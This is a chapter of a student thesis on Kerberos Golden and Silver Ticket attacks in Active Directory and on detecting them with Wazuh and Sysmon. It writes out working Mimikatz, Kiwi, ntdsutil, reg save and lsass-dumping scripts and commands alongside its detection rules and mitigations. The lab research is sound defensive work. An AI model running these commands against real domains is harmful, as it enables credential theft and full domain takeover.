Figure 5.1: Steps for Kerberos authentication
The process to access a service is as follows[44][45][46]:
1. The user request a Ticket Granting Ticket (TGT). This ticket is encrypted
with the KDC key and is used for request to the KDC one or more Ticket
Granting Service (TGS). This request is ciphered with the user hash.
2. The DC returns the requested TGT if everything is in order.
3. The user requests the TGS.
4. The DC returns the requested TGS if everything is in order.
5. The user sends a request to a computer running a service to make use of
it. For this the TGS is sent.
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6. Optionally the Privilege Attribute Certificate (PAC) can be sent to the
DC to be verified. The PAC is an structure present in almost every ticket
that contains the privileges of the user and it is signed with the KDC
key. Nevertheless, the PAC verification checks only its signature, without
inspecting if privileges inside of PAC are correct. Furthermore, a client can
avoid the inclusion of the PAC inside the ticket by specifying it in KERB-
PA-PAC-REQUEST field of ticket request. Unfortunately most services do
not validate the PAC.
7. Optionally the DC returns the result to the computer that requested it,
which should be running the service in question.
8. Optionally the user receives the response to his request to use the service.
The Golden Ticket attack depends on obtaining the password information of the
KRBTGT account to generate a forged TGT. It can provide the attacker with
the desired privileges in the AD (like administrator).
This means TGTs can be generated to access every account within the AD. This
forged TGT is known as Golden Ticket. The Golden Ticket does not depend
at all of the administrator password of the AD, which means that changing this
password does not invalidate a Golden Ticket in anyway.
Because the attack uses a valid TGT it is very hard to detect it is a forgery.
Once it has been issued the TGT can be used at any time and any amount of
times until the time expiration. Any TGS obtained from a Golden Ticket is no
longer a forgery, because is generated from the DC.
The password information of the KRBTGT account can be just the hash of
the password, which is stored in memory and can be retrieved with enough local
privileges in a DC. To generate the Golden Ticket the attacker also needs the do-
main name and the SID of the domain to which the KRBTGT account belongs,
which are trivial to get[43].
Furthermore once the required data is obtained the Golden Ticket can be cre-
ated offline using certain programs, like Mimikatz. This means it is impossible
to detect the creation of the ticket itself if it is not done on a computer in the
network.
It follows that this attack can only be detected either during the steps needed to
create the TGT (get the hash of the KRBTGT account) or by the use of the TGT.
By default Mimikatz sets the forged ticket age to 10 years, which is useful to
some attackers because they would need only one attack to compromise the en-
tire network for that time.
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5.1.1 Exploit methods
To keep this simple only the basics are explained about the techniques used in
the examples for a Golden Ticket attack. Because some of the exploits are sim-
ilar they are numbered for easier identification. The scripts in the next exploits
were used to understand the different ways to perform Golden Ticket attacks and
during the tests to try to detect them. Of course there are more ways to generate
a Golden Ticket (and some are much more harder to detect) and it is possible to
combine several of the next exploits or change some of their steps.
For example there is a sever-agent version of Mimikatz called Pypykatz[47][48]
that is very new and should be a bit harder to detect than the exploits showed
here. Unfortunately the student could not make it retrieve the KRBTGT hash.
These scripts try to automate as much of the process as possible, which is usu-
ally done in an interactive way. This automation helps to assure that the results
are the same each time and reduces the time for each test. All the tests in this
project were executed at least twice. Tests were repeated if there were changes
that could affect their results.
Exploit 1.1: Local Mimikatz in DC
This requires local administrator privileges in the DC and also and an already
downloaded version of Mimikatz in the DC, which the attacker can easily get
after gaining privileges. If this example were to be used as it is it will probably
be detected by the antivirus and Windows Defender, but again they can be dis-
abled by a local administrator and there are techniques to avoid being detected
by them.
cd C:\Users\Administrator\Downloads #path to mimikatz
$(
.\mimikatz.exe privilege::debug "lsadump::lsa /inject /name:krbtgt
↪→ " exit #get the needed data
) *>&1 > output.txt
#split the data in variables
$tdomain = Get-Content .\output.txt | findstr Domain | %{ $_.Split(’
↪→ ’)[2] ; }
$tdomain = $tdomain + ’.local’
$sid = Get-Content .\output.txt | findstr Domain | %{ $_.Split(’ ’)
↪→ [4] ; }
$ntlm = Get-Content .\output.txt | findstr NTLM|Select-Object -first
↪→ 1 | %{ $_.Split(’:’)[1] ; } | %{ $_.Split(’ ’)[1] ; }
.\mimikatz.exe privilege::debug "kerberos::golden /domain:$tdomain /
↪→ sid:$sid /rc4:$ntlm /user:Administrator /id:500 /ptt" exit
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Listing 5.1: Script to generate and inject a Golden Ticket
The script uses Mimikatz to get the needed data to generate the Golden Ticket,
saving it to a file for convenience. Then the data is split in variables, each being a
piece for generating the forged ticket. The exit parameter is to exit the Mimikatz
shell after executing the command.
After injecting the ticket (with the /ptt option) the session has administrator
privileges in the AD, so any service in the AD can be used in this PowerShell
session, any command should be allowed. Without the injection option Mimikatz
would store the ticket in a file, which can be injected at any time with Mimikatz.
The ID 500 is the normal ID for the administrator account in the AD. This script
can be executed in multiple ways, for example from a PowerShell interactive ter-
minal run as an administrator.
.#####. mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14
.## ˆ ##. "A La Vie, A L’Amour" - (oe.eo) ** Kitten Edition **
## / \ ## /*** Benjamin DELPY ‘gentilkiwi‘ ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
’## v ##’ Vincent LE TOUX ( vincent.letoux@gmail.com )
’#####’ > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege ’20’ OK
mimikatz(commandline) # lsadump::lsa /inject /name:krbtgt
Domain : WAZUH / S-1-5-21-3307301586-4221688441-1196996515







lm - 0: e3fdacbcf66ca710dd67d4adaf560a14
* WDigest
01 aaf3934513bd56bdf87488e6b5fe3a91
[... 27 hashes go here ...]
29 39dcc556a07bd3f75676e85a8c2cda89
* Kerberos




Default Salt : WAZUH.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8
↪→ e3a85194965b2d7eaf10a92f46cf39f942b9c81ed3b5762e8dbb25d9b67b740
aes128_hmac (4096) : 6b4634f9504406a36e5cde7a2dc4c492
des_cbc_md5 (4096) : 54e9bf86381c91f2
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* NTLM-Strong-NTOWF
Random Value : 695441dc49e4a555d68265deb0e13f4f
mimikatz(commandline) # exit
Bye!
Listing 5.2: Example of the contents of the output file
The password hash of the KRBTGT account is retrieved by Mimikatz interacting
with the Local Security Authority (LSA) or Local Security Authority Subsystem
Service (LSASS), which is run by the lsass.exe process.
This process is the Windows service responsible for providing single sign-on func-
tionality. With it users are not required to re-authenticate each time they access
resources. It provides access not only to the authenticated user’s credentials, but
every set of credentials used by every open session since the last boot[49][50].
Mimikatz exploits this cache of credentials and reports the results to the user in
the various forms employed by LSASS[51][52].
Exploit 1.2: Mimikatz from memory in DC
This is similar to the previous example but instead of having a downloaded ver-
sion of Mimikatz (stored in the disk) the program is downloaded directly into the
PowerShell session, so Mimikatz is never stored in disk. The clear advantage over
the previous one is that it should be harder to detect.
With slight changes this could work in a computer that is not a DC, if the at-






Invoke-Mimikatz -Command ’"lsadump::lsa /inject /name:krbtgt"’
) *>&1 > output.txt
$tdomain = Get-Content .\output.txt | findstr Domain | %{ $_.Split(’
↪→ ’)[2] ; }
$tdomain = $tdomain + ’.local’
$sid = Get-Content .\output.txt | findstr Domain | %{ $_.Split(’ ’)
↪→ [4] ; }
$ntlm = Get-Content .\output.txt | findstr NTLM|Select-Object -first
↪→ 1 | %{ $_.Split(’:’)[1] ; } | %{ $_.Split(’ ’)[1] ; }
$write = "Invoke-Mimikatz -Command ‘’‘"kerberos::golden /domain:
↪→ $tdomain /sid:$sid /rc4:$ntlm /user:Administrator /id:500 /ptt
↪→ ‘"‘’ "
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$(
echo $write
) *>&1 > temp_mem.ps1
.\temp_mem.ps1
Listing 5.3: Script to run Mimikatz only in memory and inject a Golden Ticket
The script downloads a version of Mimikatz from Github and creates a Power-
Shell object with its contents, that can be invoked at any time in this shell[53][54].
Then as before it dumps the needed information to generate the Golden Ticket in
a file, which is read and parsed to store the interesting parameters into variables.
Due to difficulties with the last Mimikatz command to work with the parameters
in the variables a workaround was used. This is writing a new file that has the
command with those parameters, and then execute the file.
On the one hand it can be harder to detect with obfuscation, renaming and
not using such an obvious URL. On the other hand PowerShell can be monitored
for downloading commands, particularly those with objects.
Exploit 1.3: Mimikatz with DCSync
The DCSync is a Mimikatz feature in which a no-DC attempts to impersonate
a DC and request account information from a real DC. This technique is less
noisy because it does not require direct access to a DC (which are often heavily
monitored)[50][52]. To run Mimikatz we still need local administrator privileges
in the computer.
cd C:\Users\Administrator\Downloads #path to mimikatz
$(
.\x64\mimikatz.exe "lsadump::dcsync /user:krbtgt" exit
) *>&1 > output.txt
$tdomain = Get-Content .\output.txt | findstr Salt |Select-Object -
↪→ first 1| %{ $_.Split(’:’)[1] ; }| %{ $_.Split(’krbtgt’)[0] ;
↪→ }| %{ $_.Split(’ ’)[1] ; }
$sid = Get-Content .\output.txt | findstr Object | findstr Security
↪→ | %{ $_.Split(’:’)[1] ; } | %{ $_.Split(’ ’)[1] ; }
$ntlm = Get-Content .\output.txt | findstr Hash| findstr NTLM| %{ $_
↪→ .Split(’:’)[1] ; } | %{ $_.Split(’ ’)[1] ; }
.\x64\mimikatz.exe privilege::debug "kerberos::golden /domain:
↪→ $tdomain /sid:$sid /rc4:$ntlm /user:Administrator /id:500 /ptt
↪→ " exit
Listing 5.4: Script to run Mimikatz with DCSync
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This follows the same structure as the previous cases, but this time with the
dcsync option. The disadvantage in this case is that there needs to be a connection
to a running DC that is not being monitored for the requests Mimikatz sends.
There are open source tools available for this kind of monitoring[55] and it can
also be detected by monitoring the network[56].
Exploit 1.4: DCSync with Kiwi
In this case the access to the no-DC computer in the targeted network is done
through Metasploit[25] and its own version of Mimikatz called Kiwi[52]. The
Kali virtual machine is for running Metasploit outside the AD, but a Windows
machine running in the AD could have been used as well.
We need to know the password of the account we want to access remotely and the
targeted computer needs to have a SMB share. In this case the variable SMBPass









Listing 5.5: Part 1 of the remote DCSync exploit automation
This runs a remote process, exploiting the SMB capabilities to run commands to
spawn a Meterpreter shell[57] with administrator privileges.
Now we are in a Meterpreter shell, which we can use to get the exact privileges
we need for the next part. This is because even though we have administra-
tor privileges there are different kinds of administrator privileges on Microsoft
systems.
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Figure 5.2: Meterpreter shell running
To do this we look for a session running administrator privileges in the AD. In
this case the targeted machine had a PowerShell session running as administra-
tor, to which we migrate.
Figure 5.3: Migration to a PowerShell session as AD administrator
Now we are ready to run the real exploit. This loads the Metasploit version
of Mimikatz (Kiwi) in the Meterpreter shell, allowing the attacker to use Kiwi
commands. The command in this case retrieves the information of the KRBTGT
account needed to generate the Golden Ticket.
In this case the generation of the ticket is not using the data in an automated
way, because there was no real need since is the same every time and the time
needed to do this with Ruby felt like a waste. In this case the ticket is saved to
the /tmp/golden.tck file in the Kali machine.
load kiwi
dcsync_ntlm krbtgt
golden_ticket_create -d wazuh.local -u Administrator -s S
↪→ -1-5-21-3307301586-4221688441-1196996515-502 -k
↪→ ec9183c701e861eda574d85939d635cd -t /tmp/golden.tck
Listing 5.6: Part 2 of the remote DCSync exploit automation
86 CHAPTER 5. INCREMENTS 1 AND 2
Figure 5.4: Retrieval of KRBTGT data and generation of the Golden Ticket with
Kiwi
The obvious downside of this method for the attacker is that Metasploit is very
widely used and known, therefore there could be security monitoring for it[58].
But again the attacker is using a technique that does not need to control a DC
and does not need to store anything in the disk of the targeted system, making
it much harder to detect in that regard.
Of course there is no real need to use Metasploit to get a remote shell to run
Mimikatz. The attacker could use SSH, run remote commands with psexec or
use the Windows Remote Shell. But some of these need to be enabled and they
would not be much different from the previous examples.
Exploit 1.5: Hashdump with Meterpreter
Using a reverse TCP exploit the attacker access the targeted DC with a Me-
terpreter shell. This is similar to the previous case but using the Meterpreter
command hashdump instead of the DCSync retrieval of Kiwi[52]. This stills uses










Listing 5.7: Part 1 of the remote Hashdump exploit automation
Again there is a migration to an administrator account of the AD. In this case
another command to get the SID of the network would be needed if we did not
know it already, for example a simple whoami /user would suffice.
hashdump
load kiwi
golden_ticket_create -d wazuh.local -u Administrator -s S
↪→ -1-5-21-3307301586-4221688441-1196996515-502 -k
↪→ ec9183c701e861eda574d85939d635cd -t /tmp/golden.tck
Listing 5.8: Part 2 of the remote Hashdump exploit automation
Figure 5.5: Retrieval of KRBTGT data with hashdump
As before it is expected of the DCs to be more monitored. This means that
the DCSync version is more interesting to an attacker because it has the same
difficulty and benefits at a lower risk.
5.1.2 Detection purely with signatures
Searching for suspicious strings can be used to trigger alerts with Wazuh. Sig-
nature matching of data coming from Windows events and default logs from
Windows systems is not much different from what any antivirus does. It follows
that it would be as easy to evade as them. For example with substitution of
suspicious strings from the source code and recompilation[59].
This does not mean that signature matching is totally worthless, but that it
is not something to focus on. In this project relying in signatures was avoided
as much as possible. Useful signatures to match not only amount to third-party
tools. It is easy to monitor extensions, directories, certain files, command line
options, usernames, etc.
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Because no detection techniques are perfect techniques to avoid them can appear
over time, resulting in changes or new ways to detect also the new evasion mech-
anisms. This means that even if we manage to detect programs like Mimikatz
now it could be overcome in the future.
That does not mean that detection techniques are bound to fail or that there is
no point to them. Many attackers know how hard it can be to overcome detection
techniques.
It is also important to remember these scenarios are continuously changing, with
new techniques to avoid detection and the creation of new tools.
5.1.3 Detection purely with Windows events
In theory we can identify certain attacks only with the security events of Win-
dows. There are multiple websites in which the Golden Ticket attack has been
analyzed and its events identified[46][60].
Unfortunately the events recorded in this project did not always probe to be the
same as the cited sources, probably because it was tested on the new Windows
Server version (2019). In most cases their frequency is not enough to be dis-
tinguished from the regular activity, even when using a lab environment without
work load. This could probably be improved if these events had more information
(particularly those as critical as Kerberos’), but they are very short and generic.
Wazuh provides access to Windows events by default, due to the rules and de-
coders of its ruleset[18]. We can enable additional logging with the Advanced
Audit Policy Configuration. For example for auditing kernel objects, more Ker-
beros logging, changes in settings or account events. The user just needs to define
rules to specify what he wants to monitor and how he wants it.
The student tried to analyze the security events to find patterns in the previ-
ous exploits, by recording all the data received by Wazuh during their execution.
This was done just by looking the current line of the log, executing the exploit
and copying the log from there to a new file.
The obvious problem of this method is that it results in logs with tens to hun-
dreds of lines filled with a not very easy to read format. The workaround used
was to parse the logs with custom AWK scripts[24], removing fields to make the
logs more readable and counting each of the events in them.
The idea of finding a relationship between certain windows events and this attack
was abandoned because:
• It was not providing any new results.
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• It was too time consuming.
• It can be accomplished using Sysmon[23][61].
• Also it was concerning the amount of noise this method has, even though
in a laboratory without real system load, to tell apart an intrusion from a
totally healthy system.
The real useful addition to the Windows built-in events is having Sysmon[23] in
each of the monitored Windows computers. They can be combined to identify
attackers better[60].
With Sysmon we can have reports of events with IDs [1-21] and 255, which in
some cases provide very precise and useful information of the system. For ex-
ample we can configure Sysmon to log data about processes, like: PowerShell,
Mimikatz, any .ps1 or any .exe. Sysmon can monitor each of the events either
by whitelisting or blacklisting by default or both. We can also combine it with
rules from Wazuh, using Sysmon to increase the report capabilities and Wazuh
to filter them.
Originally getting more data from Sysmon and other sources for detection
was an increment in itself, but seeing as the first increment could not be accom-
plished without it both were combined into the same increment. This was due
to overestimating the report capability of Windows events in the planning stage
and because increment 2 was way easier than planned. From this point Sysmon
and remote scripts are used to identify threats and they do not have to be just
additional detection as it was first planned.
It is also important to note that Sysmon can be a bit tricky to balance the
configuration to get as much suspicious events as possible, while not reporting
so much it affects the performance of the network. This is responsibility of the
administrators of the network, who also have to tune the configuration to their
custom needs. There are public configs for Sysmon that attempt to provide a
good insight of the system while not logging too much data[62] and some even
with OSSEC on mind[63].
Having a working setup of Wazuh and Sysmon just requires to install Sysmon in
the Windows computers and enable forwarding its log C.54.
5.1.4 Detection of Mimikatz
Mimikatz is the tool of choice for this kind of attack for most attackers because
it is very effective, easy to use and has multiple ways to be used in different
attacks[26][54]. This is a double edge sword for Mimikatz because it has become
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one of the programs to look for in antimalware detection programs. In this case
we assume these programs have not detected Mimikatz and is up to Wazuh to do
it. It is interesting to note that the author of Mimikatz provides ways to detect
it, like the YARA rules he maintains[26] or BusyLights[59].
Detecting Mimikatz is not a sign of a Golden Ticket attack (unless it is clear
in the way it is used), but it still is a big and dangerous threat to the system and
worth checking out.
Unfortunately as seen in the exploits before there are multiple ways to execute
Mimikatz, in an attempt not to be discovered by known techniques.
Each time a Mimikatz shell spawns certain DLLs are loaded. The technique
to identify a succession of events in a short time as another event is called group-
ing or composite. Grouping is a very effective technique, but it can require a lot
of work to identify its components. In some cases the attack may not produce
enough noise or it may not be possible to tell it apart from the normal events of
the system[23][61].
Fortunately Mimikatz needs a fair amount of DLLs to work and some of them
are not very usual. This makes the execution of Mimikatz noticeable.
The load of a DLL can be detected by the event 7 of Sysmon and the group-
ing can be identified with Wazuh rules. It also can be detected by the event 10 of
Sysmon, for inter-process access, but at greater cost of bandwidth. For this task is













Listing 5.9: Sysmon monitoring with event 7 for certain DLLs
On the manager side the next rules are needed:
<rule id="300300" level="0" >
<if_group>sysmon_event7</if_group>
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<field name="win.eventdata.imageLoaded">\\Windows\\System32
↪→ \\\.*.dll</field>
<description>Detected event 7 with \Windows\System32</
↪→ description>
</rule>
















<description>Maybe Mimikatz: DLLs with EventID 7</description>
</rule>
Listing 5.10: Rules for suspecting a Mimikatz execution as a group of events
The sysmon event7 means that another rule has marked the log as a Sysmon
event of type 7.
The same field option means that every one of the matches must have the same
value in the designed field, which in this case means that these events come from
the same computer.
The frequency option means that the rule has to be matched that number of
times to trigger. It is set to 2 because is the minimum value possible.
Usually each of the suspicious DLLs would have its own rule, but it would not
always identify Mimikatz because the frequency has to be at least 2. There-
fore rules 300301 and 300302 identify 2 and 3 DLLs each (using a logical OR),
making it possible to trigger the grouping rule. The last rule identifies the use
of the DLLs in a 10 seconds gap as the execution of Mimikatz. This detection
could be evaded by adding time between the load of the DLLs in the source code.
The problem of these less precise rules is that it is possible to have false pos-
itives. None were seen during this project for this case.
Unfortunately due to the way OSSEC matches rules there is no way to have an
hierarchy of rules to trigger a precise grouping rule or the other one. It is possible
to have a rule for each DLL using active response to generate two alerts instead
of one C.1, but is much slower and less efficient.
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Detecting the use of every variant of Mimikatz is virtually impossible, not only
because their sheer number due to its popularity but because anyone can com-
pile their own. Therefore the logical way to detect Mimikatz would be to detect
the basic step for every version: the interaction with the LSASS and process
injection. This is studied later on page 108.
Exploit Detected
1.1: Local Mimikatz in DC Yes
1.2: Mimikatz from memory in DC Yes
1.3: Mimikatz with DCSync Yes
1.4: DCSync with Kiwi Yes
1.5: Hashdump with Meterpreter Yes
Table 5.1: Exploit detection by grouping events
This method detects the use of Mimikatz in all the ways implemented in
this project. The hashdump exploit is detected because Kiwi is used in the
session in that machine to generate the Golden Ticket. A real attacker probably
would generate the ticket outside of the network, avoiding being detected by this
technique.
5.1.5 Detection of the use of the TGT with klist
We can not always detect when a forged TGT is generated, but the attacker still
needs to use it to gain access to the active directory domain with the privileges
set in the ticket. The first choice for this task would be to monitor the Kerberos
log searching for unusual patterns, but it proved to be more hard than it should,
so instead of a scan of the cache of the Kerberos tickets every few minutes was
implemented.
The program to examine the contents of the cache is klist.
In order to do this we need to enable the execution of Wazuh’s remote com-
mands in the Windows agent and set the properties of the command in the
manager C.4[64].
In this case the command is a script C.5 to get all the tickets of all the ses-
sions with klist, compare the ticket value for the field TicketExpireHours with
the value of MaxTicketAge of the Group Policy (putting the difference in a new
field) and parse the output to JSON. Having the output in JSON makes it a
bit easier to read from the logs (which is useful to fix any mistake in the script)
and removes the need of a decoder in the manager. The idea came from a very
different klist script that only works interactively and reports in plain text[65].
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This script needs to be run in every member of the network to guarantee detec-
tion for every user.
The conversion to JSON was done manually to add information and because the
ConvertTo-Json cmdlet does not work as expected. Doing this with only Pow-
erShell assures it will work in any Windows system without external programs.
The downside of this parsing and my limited knowledge of PowerShell is that the
script is a bit bulky and the dependency on the format of the output of klist.
Unfortunately the automated way to get the MaxTicketAge from the Group
Policy in C.6 does not work by default with remote commands because Win-
dows remote commands only allow certain types of commands. In any case the
MaxTicketAge value is not usually changed and it requires AD administrator
privileges to do it, so due to the time constrains of the project this automation
was abandoned. There are other ways to get the MaxTicketAge value, but as
mentioned it is not something to spend time on.
Next there is an example of the difference between the normal output of klist
and the string stored in an alert in the manager.
Figure 5.6: Klist listing tickets for a certain session
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Figure 5.7: Latest alert of the klist monitoring in the manager
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The time difference mentioned before is a very easy way to detect a forged ticket.
With a simple subtraction in the PowerShell script only a rule that makes a num-












<description>Klist: Potential golden ticket detected - $(
↪→ TicketExpireHoursGap) hours over MaxTicketAge ($(MaxTicketAge)
↪→ )</description>
</rule>
Listing 5.11: Rules to detect a suspicious expiration age from the report of the
klist script
The purpose of the first rule is to identify any log in JSON with MaxTicketAge
and TicketExpireHours fields. The second rule is used to examine the contents
of the TicketExpireHoursGap field of the logs that the first rule has identified. If
the value of the TicketExpireHoursGap field starts with a digit different than 0
then it means that MaxTicketAge > TicketExpireHours, therefore the expiration
age is greater than it should be, triggering an alert. Additionally it can only
trigger once each 600 seconds, to avoid flooding of alerts.
This attack is often used because it may grant the highest privileges in the do-
main, is hard to detect and is very persistent because it does not care for the
password changes in the active directory. That is why it is very attractive for
domains in which the attacker may decide to come back later, maybe even years
later. That means it is very unlikely for a forged ticket to not have a very big ex-
piration age, because is one of its most appealing benefits; but again it would be
possible for an attacker to keep generating forged tickets with a valid expiration
age forever, at a greater risk of being detected in other ways.
The testing of the script was satisfactory, the cases that inject a TGT were
detected and there were no false positives:
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Exploit Detected As expected
1: Local Mimikatz in DC Yes Yes
2: Mimikatz from memory in DC Yes Yes
3: Mimikatz with DCSync Yes Yes
4: DCSync with Kiwi No Yes
5: Hashdump with Meterpreter No Yes
Table 5.2: Exploit detection by the klist script
Of course if we chose to store the ticket in a file we could inject it in other
moment or computer, but then it could be detected by this method.
Additionally there could be monitoring for unusual usernames, because it is pos-
sible to get a TGT with administrator privileges with non existent username to
avoid the monitoring that administrator accounts are often under.
It can be worth checking if the attacker is using klist to clean the cache of in-
jected tickets, to cover any tracks. This can be easily accomplished monitoring














A Silver Ticket is very similar to a Golden Ticket, it is a forged TGS instead of
TGT. Therefore a Silver Ticket only grants access to a service in a computer.
It is important to note that some services need the privileges of more services,
therefore more than a Silver Ticket may be needed.
Steps 1 and 2 of a normal Kerberos authentication exchange are not needed (fig-
ure 5.1) because they are only to get a TGT. Without a TGT a TGS can not be
requested from the DC, so steps 2 and 3 are also not a part of the Silver Ticket
attack.
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There is no need to connect to a DC, only a connection to the computer hosting
the service is needed (steps [5-8]). Unless PAC validation is required, the service
accepts all data in the TGS ticket.
The TGS is ciphered with the password hash of the account running the service,
making changes of the password an effective mitigation against Silver Tickets.
To extract this data from memory the attacker has to have local administrator
privileges[46][66].
To extract the data the attacker would need to run Mimikatz with:
"privilege::debug" "sekurlsa::logonpasswords" exit
For example in the next scenario:
• The user to impersonate is the AD Administrator.
• The computer is WIN-GQR2EQ8M0TF.
• The domain is wazuh.local.
• The domain is identified as S-1-5-21-3307301586-4221688441-1196996515.
• The attacker wants access to the HOST service.
• The password hash of the account is 68fbd238f574f7685beed96a2db15004.
The Mimikatz command would be:
"kerberos::golden /admin:Administrator /id:500 /sid:
↪→ S-1-5-21-3307301586-4221688441-1196996515 /domain:wazuh.local
↪→ /target:WIN-GQR2EQ8M0TF.wazuh.local /rc4:68
↪→ fbd238f574f7685beed96a2db15004 /service:HOST /ptt" exit
allowing the attacker to access the HOST service on that computer with AD
Administrator privileges.
Silver Tickets get registered in the Kerberos’ cache in the same way as the Golden
Tickets, so they can be detected with the klist script. The execution of Mimikatz
can be detected with grouping just as before.
5.1.7 Mitigation
These exploits take advantage of the inherent weaknesses of Kerberos, so there
is no way to fully prevent them. Nevertheless, Microsoft provides a public guide
explaining how to mitigate this kind of attacks[67]. The easiest way to miti-
gate this attack is to change the password of the KRBTGT account to invalidate
any existing Golden Ticket, which has to be done twice (make sure the domain
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converges before doing the second password change[68]), but it also invalidates
existing proper TGTs.
The recommendation from Microsoft is to regularly reset the password[45][69],
which can be done with their official script[70]. This could be also triggered by
alerts that we are confident detect Golden Tickets, but as mentioned this could
affect other functionality and so the decision is for the network administrators to
make. Any TGT that is not valid produces an error in a TGS request, which can
be used for exposing an attacker[71].
Also there are other measures like:
• Have administrative passwords longer than 25 characters to avoid brute
force cracking and make them unique for each system.
• Enforce a least privilege model.
• Minimize the quantity of administrative accounts.
• Isolate DCs: Use DCs only as servers, never work stations of any kind.
• Isolate administrator accounts: Use administrator accounts only for admin-
istrator duties.
• Isolate AD accounts: Create tiered groups with very granular permissions
on the domain and create Access Control List permissions on the Organi-
zation Units of the AD[72].
• Use Read Only Domain Controllers (RODCs): keep Read Write DCs seg-
regated using network segregation and AD sites to force users to logon to
RODCs, making breach detection easier. RODCs do not have any real user
hashes (nor the hash of the KRBTGT account)[68][73].
• Use honeypots: Populating the LSASS cache with false credentials[51][74]
or with decoy AD objects[75]. And then monitor the logs for attempts to
use them. This can lead to detect attackers or to find vulnerabilities in the
network.
• Disable storage of clear text passwords in LSASS memory to limit the
information provided by Mimikatz[51].
• Run LSASS in protected mode (from Windows 8.1): calls to LSASS are
only allowed by other protected-mode processes[51][59].
• Use choke points: Create a choke point for access to your DCs, adding
another layer of protection. Create a Terminal Server that can only talk
to the DCs. Configure the DCs to only accept administrative connections
from that Terminal Server[76].
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We could go on with more detail and increasing the mitigation[77], but it is not
the objective of this project.
5.1.8 Conclusion
We have seen how the data to generate Golden Tickets can be obtained in differ-
ent ways and the difficulties for both the attacker and the defender roles.
Relying on the klist detection means there is no real need to detect each of
the different ways to generate the Golden Ticket because it may be impossible
depending on the circumstances. More importantly the attacker still needs to
present it to a DC to get the TGSs, to get any benefit from the Golden Ticket.
Detecting certain Sysmon events in a close time gap can guarantee the detec-
tion of Mimikatz, therefore detecting one of the most used ways to gather this
data. Detecting certain signatures for running commands, reads and accesses are
a worthy way to detect the creation of a Golden Ticket, without spending much
resources.
These are good examples of how detecting common steps to multiple exploits is
one of the strong points of an HIDS.
Another way of detection is to use YARA to look for certain patterns in memory,
just like we can search for strings in the events. In the case of events the data
comes from the program, which is easy to modify with multiple techniques like
substitution or obfuscation. The patterns in memory are much more harder to
change because it involves changing the logic of the program. That means most
attackers would just take the risk to be detected by this kind of technique.
5.2 More about the extraction of credentials
In the previous section the extraction of credentials was explained to understand
the details surrounding a Golden Ticket attack. This includes extracting pass-
word hashes from the memory of the LSASS process with Mimikatz or Hashdump.
But there are more ways of extraction that are used against AD network nowa-
days.
Once credentials have been retrieved an attacker has more options, like gener-
ating a Golden Ticket. The key points of access are the NTDS.DIT file that is
stored in disk and the running process lsass.exe.
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5.2.1 Exploit methods
Because the database file of the AD accounts is locked from copying and reading,
only Windows tools are allowed to. These tools are [50]:
• Reg: Allows to change or save registry hives, including those that contain
credentials.
• Ntdsutil: Provides management of this database, including creation of back-
ups.
• WMIC: Commands for the Windows Management Instrumentation. They
allow all kinds of remote management, including copy of files using Shadow
Copy. Sysmon has 3 events to monitor them specifically.
Another way to extract these credentials is to dump them from memory using
third party tools and scripts. This means saving part of the data of a process
running in the system[50]. There are multiple tools available for this, but in this
project only these were used: Mimikatz, Hashdump, ProcDump, pd, Minidump.
Some of these tools have the option to retrieve the password or hashes history,
meaning that the attacker could gain valuable insight on the password policy of
the target.
There was no effort to automate these exploits because they are too simple.
All the extraction programs were executed with local administrator privileges in
a DC.
Exploit 2.1: Retrieval of NTDS.DIT with ntdsutil
Another way to get the desired information is to copy the database of the AD
Domain Services (the NTDS.DIT file) and conduct an offline password audit of
the domain. This means once we have this data we can use a wide selection of
tools to crack it[78][79][80].
The attacker has to open a shell as administrator in a DC to create the backup.
Multiple commands or an one-liner can be used:
ntdsutil "activate instance ntds" ifm "create full C:\temp\ntdsutil"
↪→ quit quit
This command creates a ntdsutil shell and activates the instance to later create
a backup in a temporary directory (inside the ifm subshell).
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Figure 5.8: Backing up the database of the AD using the ntdsutil shell
There are other ways to use ntdsutil in ways harder to detect[81], but this is
enough for gathering events for analysis.



























<match>The database engine detached a database</match>




<match>The database engine created a new database</match>




<match>The database engine attached a database</match>
<description>Potential access to ntds.dit</description>
</rule>
The first rule is the parent, it filters windows events with the ntds string.
The second rule detects the ntdsutil executable. This signature is more useful
than usual because it is a built-in tool. The third matches ntds for the command
line, which is not really reliable.
The rest are for detecting suspicious database events from Windows events. These
database events assure the detection of ntdsutil even if it were to be executed
without using known signatures.
There is also the remote version of Reg: WinReg. But there was no time to
investigate on it. It is likely that it can be detected with network monitoring, as
other remote tools.
Exploit 2.2: Storing registry hives with Reg
These commands produce the different save files, each for a different group of
credentials, that can be later extracted offline with certain tools[81]:
reg.exe save hklm\sam c:\temp\sam.save
reg.exe save hklm\security c:\temp\security.save
reg.exe save hklm\system c:\temp\system.save
Reg is not detected as malware because it is a built-in tool in Windows. With
Sysmon we can report the execution of Reg with the event 1, reporting the
creation of a process:































<description>Dump of system credentials with reg.exe</
↪→ description>
</rule>
The parent rule matches the creation of Reg from the report of Sysmon.
The second rule detects the save string in the reg command.
The rest of the rules detect the registry strings for credentials.
This also could be detected using the event 7, but it would interfere with grouping
detection. Of course it is possible that these rules do not cover all the extraction
uses of Reg. It is worth noting that this is a signature base detection, therefore
it could be overcome with certain third-party programs.
Additionally a grouping detection for the DLLs Reg uses was tested. It de-
tected Reg events every time without relying on the reg.exe signature, but there
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were false positives, particularly during boot.
Exploit 2.3: Dump of LSASS with ProcDump
ProcDump[82] is a command-line utility whose primary purpose is monitoring
an application for CPU spikes and generating crash dumps during a spike. This
program can be used to create a dump file of the running lsass.exe process:
C:\Users\Administrator\Downloads\procdump.exe -accepteula -64 -ma
↪→ lsass.exe c:\temp\lsass.dmp
The dumped file can be used to extract the credentials by other programs, like
Mimikatz[81]. This is also true for the next exploits.
Exploit 2.4: Dump of LSASS with pd
ProcessDumper, also known as pd[83], is another program to dump the lsass.exe
contents. For example if the id of the process is 552:
C:\Users\Administrator\Downloads\pd.exe -p 552 > c:\temp\lsass.dump
Exploit 2.5: Dump of LSASS with Minidump
Minidump is a script from the PowerSploit Post-Explotation Framework[53]. It
can be combined with the Get-Process built-in to dump the process into a file:
Import-Module c:\users\administrator\downloads\PowerSploit-master\
↪→ Exfiltration\Out-Minidump.ps1
Get-Process lsass | Out-Minidump -DumpFilePath c:\temp
Exploit 2.6: Retrieval of NTDS.DIT with NinjaCopy




